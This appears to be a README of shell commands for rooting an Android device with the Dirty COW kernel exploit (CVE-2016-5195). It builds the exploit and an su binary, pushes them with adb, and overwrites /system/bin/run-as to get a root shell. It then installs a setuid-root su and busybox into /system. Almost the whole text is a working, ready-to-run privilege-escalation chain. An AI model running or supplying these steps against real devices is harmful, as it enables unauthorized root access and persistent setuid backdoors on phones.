NDK=~/Android/Sdk/ndk/28.2.13676358/toolchains/llvm/prebuilt/linux-x86_64/bin
CC=$NDK/armv7a-linux-androideabi21-clang

# dcow exploit
$CC -o dcow -static -march=armv7-a -mfloat-abi=softfp -O1 \
    -UPRINT -UDEBUG "-DLOGV(...)=printf(__VA_ARGS__)" \
    dcow_main.c dirtycow_android.c

# su binary
$CC -o su -march=armv7-a -mfloat-abi=softfp -Os -s -fno-pie -no-pie su2_src.c

with open('su', 'rb') as f: data = f.read()
data = data + b'\x00' * (9448 - len(data))
with open('su_padded', 'wb') as f: f.write(data)

adb push dcow su_padded su /data/local/tmp/
adb shell chmod 755 /data/local/tmp/dcow /data/local/tmp/su_padded /data/local/tmp/su
adb shell "/data/local/tmp/dcow /data/local/tmp/su_padded /system/bin/run-as"
# Wait for: [+] Success!

# Enter root shell first
adb shell /system/bin/run-as

# Then:
mount -o remount,rw /system
toolbox dd if=/data/local/tmp/su of=/system/bin/su
toolbox chmod 6755 /system/bin/su
toolbox chown root:root /system/bin/su

# From PC:
adb push busybox-armv7l /data/local/tmp/busybox

# From root shell:
toolbox dd if=/data/local/tmp/busybox of=/system/bin/busybox
toolbox chmod 755 /system/bin/busybox
/system/bin/busybox --install /system/bin/

adb shell
/system/bin/run-as   # drops to root shell (#)
id                   # uid=0(root)

.
├── README.md
├── root.sh              # automated root script
├── dirtycow_android.c   # CVE-2016-5195 core (Arinerron fork)
├── dcow_main.c          # main() wrapper
└── su2_src.c            # su binary source